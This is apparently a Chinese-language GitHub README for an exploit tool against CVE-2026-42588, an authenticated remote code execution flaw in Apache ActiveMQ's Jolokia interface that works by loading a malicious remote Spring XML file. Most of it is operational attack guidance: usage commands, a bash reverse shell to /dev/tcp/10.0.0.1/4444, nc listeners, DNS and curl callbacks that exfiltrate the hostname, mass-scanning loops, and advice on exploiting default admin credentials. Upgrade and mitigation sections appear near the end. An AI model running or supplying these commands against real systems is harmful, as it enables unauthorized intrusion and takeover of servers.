hnytgl/CVE-2026-42588
GitHub: hnytgl/CVE-2026-42588
Apache ActiveMQ Jolokia 远程代码执行漏洞(CVE-2026-42588)的概念验证与利用工具,通过构造恶意 Spring XML 实现 RCE。
Stars: 3 | Forks: 0
# CVE-2026-42588 - Apache ActiveMQ Jolokia 远程代码执行漏洞利用
## 📋 目录
- [漏洞概述](#漏洞概述)
- [漏洞原理](#漏洞原理)
- [影响版本](#影响版本)
- [利用条件](#利用条件)
- [文件说明](#文件说明)
- [快速开始](#快速开始)
- [详细使用方法](#详细使用方法)
- [利用链全景图](#利用链全景图)
- [验证漏洞利用成功](#验证漏洞利用成功)
- [修复方案](#修复方案)
- [临时缓解措施](#临时缓解措施)
- [FAQ](#faq)
- [免责声明](#免责声明)
- [参考链接](#参考链接)
## 漏洞概述
**CVE-2026-42588** 是一个存在于 **Apache ActiveMQ** 中的认证后远程代码执行(RCE)漏洞。
攻击者在拥有 Web Console 认证凭据的前提下,通过 **Jolokia JMX-HTTP 桥接接口** (`/api/jolokia/`) 调用 `BrokerService.addNetworkConnector(String)` 方法,传入精心构造的 `masterslave://` discovery URI,利用 `xbean:` 协议加载远程 **Spring XML 配置文件**,最终在 ActiveMQ Broker 的 JVM 中执行任意系统命令。
## 漏洞原理
### 利用链
/api/jolokia/ (Jolokia JMX-HTTP Bridge)
│
▼
BrokerService.addNetworkConnector(String)
│
▼
masterslave://?brokerConfig=xbean:http://attacker/malicious.xml
│
▼
XBeanBrokerFactory → ResourceXmlApplicationContext
│
▼
Spring 预实例化所有单例 Bean → 触发 Runtime.exec() / ProcessBuilder
│
▼
🚨 远程代码执行 (RCE)
### 关键技术点
| 环节 | 说明 |
|------|------|
| **Jolokia 暴露面** | ActiveMQ Web Console 默认暴露 `/api/jolokia/`,允许对 `org.apache.activemq:*` MBean 执行 `exec` 操作 |
| **危险方法** | `BrokerService.addNetworkConnector(String)` 接收 discovery URI 并解析 |
| **URI 触发链** | `masterslave://` 协议的 `brokerConfig` 参数可控,配合 `xbean:` scheme 触发 Spring 上下文加载 |
| **RCE 触发点** | XBeanBrokerFactory 使用 `ResourceXmlApplicationContext` 加载远程 XML,Spring 在配置验证之前就会实例化所有单例 Bean |
## 影响版本
| 版本范围 | 状态 |
|----------|------|
| Apache ActiveMQ **< 5.19.7** | ❌ 受影响 |
| **6.0.0** ≤ Apache ActiveMQ **< 6.2.6** | ❌ 受影响 |
| Apache ActiveMQ **≥ 5.19.7** | ✅ 已修复 |
| Apache ActiveMQ **≥ 6.2.6** | ✅ 已修复 |
## 利用条件
1. ✅ **网络可达** — `/api/jolokia/` 接口可被攻击者访问(默认端口 `8161`)
2. ✅ **有效凭据** — 拥有 ActiveMQ Web Console 的认证凭据(默认 `admin:admin`)
3. ✅ **攻击者 HTTP 服务** — 需要一个可被目标访问的 HTTP 服务器托管恶意 XML 文件
## 文件说明
.
├── CVE-2026-42588_EXP.py # 漏洞利用脚本(核心)
├── malicious.xml # 恶意 Spring XML 模板
├── requirements.txt # Python 依赖
└── README.md # 本文件
| 文件 | 用途 |
|------|------|
| `CVE-2026-42588_EXP.py` | Python 漏洞利用脚本,支持检测模式 (`--check-only`) 和 XML 生成模式 (`--gen-xml`) |
| `malicious.xml` | 恶意 Spring XML 配置模板,包含 Runtime.exec() 和 ProcessBuilder 两种利用方式 |
## 快速开始
### 1. 安装依赖
pip install -r requirements.txt
### 2. 生成恶意 XML 文件
python CVE-2026-42588_EXP.py --gen-xml -c "touch /tmp/activemq_pwned" > malicious.xml
### 3. 托管恶意 XML 文件
在攻击机上启动 HTTP 服务:
python3 -m http.server 8080
### 4. 执行漏洞利用
# 使用默认凭据 admin/admin
python CVE-2026-42588_EXP.py \
-u http://192.168.1.100:8161 \
-x http://your-attacker-ip:8080/malicious.xml
# 使用自定义凭据
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-U myuser \
-P mypass \
-x http://your-attacker-ip:8080/malicious.xml
### 5. (可选)仅检测漏洞
python CVE-2026-42588_EXP.py -u http://192.168.1.100:8161 --check-only
## 详细使用方法
### 命令行参数
usage: CVE-2026-42588_EXP.py [-h] [-u URL] [-U USERNAME] [-P PASSWORD]
[-x XML_URL] [--check-only] [--gen-xml]
[-c COMMAND] [--timeout TIMEOUT] [--no-verify]
选项:
-u, --url 目标 ActiveMQ URL (如 http://192.168.1.100:8161)
-U, --username Web Console 用户名 (默认: admin)
-P, --password Web Console 密码 (默认: admin)
-x, --xml-url 恶意 Spring XML 文件的远程 URL
--check-only 仅检测 Jolokia 接口是否可访问
--gen-xml 生成恶意 XML 文件并输出到 stdout
-c, --command 要在目标上执行的命令 (默认: touch /tmp/activemq_pwned)
--timeout HTTP 请求超时秒数 (默认: 30)
--no-verify 禁用 SSL 证书验证
### 场景一:反弹 Shell
**1. 在攻击机上生成恶意 XML:**
python CVE-2026-42588_EXP.py --gen-xml \
-c "/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
> reverse_shell.xml
**2. 托管 XML 并启动监听:**
# 终端1:HTTP 服务
python3 -m http.server 8080
# 终端2:nc 监听
nc -lvnp 4444
**3. 触发漏洞:**
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-x http://10.0.0.1:8080/reverse_shell.xml
### 场景二:CMD 命令执行(Windows 目标)
**1. 生成 Windows 版恶意 XML:**
修改 `malicious.xml` 中 ProcessBuilder 的命令为:
**2. 托管并执行:**
python CVE-2026-42588_EXP.py \
-u http://windows-target:8161 \
-x http://attacker:8080/malicious_win.xml
### 场景三:仅漏洞检测
# 批量检测
for ip in $(cat targets.txt); do
echo "=== Testing $ip ==="
python CVE-2026-42588_EXP.py -u "http://$ip:8161" --check-only --timeout 5
done
## 利用链全景图
┌─────────────────────────────────────────────────────────────────────┐
│ CVE-2026-42588 攻击链 │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ① 攻击者 ⑤ ActiveMQ Broker (JVM) │
│ ┌──────────┐ ┌──────────────────────────┐ │
│ │ EXP脚本 │──── ② HTTP POST ───────▶│ /api/jolokia/ │ │
│ │ │ Jolokia exec() │ │ │
│ │ │ Basic Auth │ BrokerService. │ │
│ │ │ │ addNetworkConnector( │ │
│ │ │ │ "masterslave://? │ │
│ │ │ │ brokerConfig= │ │
│ │ │ │ xbean:http://... │ │
│ │ │ │ /malicious.xml" │ │
│ └──────────┘ │ ) │ │
│ │ └────────┬─────────────────┘ │
│ │ │ │
│ │ ③ HTTP GET ▼ │
│ │ ┌──────────────────────┐ ┌────────────────────────────┐ │
│ └─▶│ 攻击者 HTTP 服务器 │ │ ResourceXmlApplication │ │
│ │ (python http.server) │ │ Context 加载远程 XML │ │
│ │ │ │ │ │
│ │ malicious.xml │ │ Spring 预实例化 Bean ──▶ │ │
│ └──────────────────────┘ │ Runtime.exec() / │ │
│ │ ProcessBuilder.start() │ │
│ │ │ │ │
│ │ ▼ │ │
│ │ 🚨 RCE 成功 🚨 │ │
│ └────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘
## 验证漏洞利用成功
由于命令执行发生在 Spring XML 解析阶段,是**异步**的,HTTP 响应中可能不会直接体现执行结果。建议通过以下方式验证:
### 方法 1:反弹 Shell(最可靠)
# 攻击机
nc -lvnp 4444
### 方法 2:DNS 外带(OOB)
# 命令中使用 nslookup 或 curl 回传
nslookup $(hostname).your-dns-server.com
### 方法 3:文件落地检测
# 目标上检查标志文件
ls -la /tmp/activemq_pwned
### 方法 4:HTTP 回连
# 在恶意 XML 中使用
curl http://your-server:8888/$(hostname)
# 同时在攻击机上监听
nc -lvnp 8888
## 修复方案
### ✅ 推荐方案:升级版本
| 版本线 | 升级至 |
|--------|--------|
| 5.x 系列 | **5.19.7** 或更高 |
| 6.x 系列 | **6.2.6** 或更高 |
下载地址: [https://activemq.apache.org/download](https://activemq.apache.org/download)
补丁公告: [https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm](https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm)
## 临时缓解措施
如果暂时无法升级,可采取以下措施降低风险:
### 1. 限制 Jolokia 接口访问
在 `conf/jetty.xml` 中限制 `/api/jolokia/` 只能从本地访问,或通过防火墙/反向代理做 IP 白名单。
### 2. 修改 Jolokia 访问策略
编辑 `conf/jolokia-access.xml`,禁止对 `org.apache.activemq:*` MBean 的 `exec` 操作:
org.apache.activemq:*
!exec
### 3. 修改默认凭据
编辑 `conf/jetty-realm.properties`,将默认的 `admin: admin, admin` 修改为强密码。
### 4. 禁用 Web Console(如果不需要)
在 `conf/jetty.xml` 中注释掉 Web Console 相关的 Context 配置。
## FAQ
### Q: 这个漏洞需要认证吗?
**A:** 是的,需要 ActiveMQ Web Console 的有效凭据。但默认凭据为 `admin/admin`,实际环境中大量系统未修改默认密码,因此风险依然很高。
### Q: EXP 执行后没有回显怎么办?
**A:** 这是正常的。命令执行是异步的,发生在 Spring XML 解析阶段。建议使用反弹 Shell、DNS 外带等方式验证。详见[验证漏洞利用成功](#验证漏洞利用成功)。
### Q: 支持 Windows 目标吗?
**A:** 支持。需要将 `malicious.xml` 中的命令从 `/bin/sh -c` 改为 `cmd.exe /c`,命令语法相应调整为 Windows 风格。
### Q: 检测模式 (--check-only) 能确定漏洞存在吗?
**A:** 检测模式只能确认 Jolokia 接口是否可访问(漏洞利用的必要条件)。接口可访问不代表一定可利用,但具备利用可能性。
### Q: 漏洞修补后还能利用吗?
**A:** 不能。升级到 5.19.7+ 或 6.2.6+ 后,`brokerConfig` 参数的解析逻辑已修复,不再接受 `xbean:` scheme。
## 免责声明
## 参考链接
| 来源 | 链接 |
|------|------|
| 漏洞数据库 (CVE Detail) | [https://www.cybersecurity-help.cz/vdb/vulns/133395/](https://www.cybersecurity-help.cz/vdb/vulns/133395/) |
| 安天漏洞公告 | [https://bbs.antiy.cn/thread-210844-1-1.html](https://bbs.antiy.cn/thread-210844-1-1.html) |
| DDPOC 漏洞详情 | [https://ddpoc.com/DVB-2026-11290.html](https://ddpoc.com/DVB-2026-11290.html) |
| Apache ActiveMQ 官方 | [https://activemq.apache.org/](https://activemq.apache.org/) |
| Apache 安全公告 | [https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm](https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm) |
CVE-2026-42588 — For Educational & Authorized Testing Purposes Only
标签:Apache ActiveMQ, CISA项目, Jolokia, 安全, 编程工具, 超时处理, 远程代码执行, 逆向工具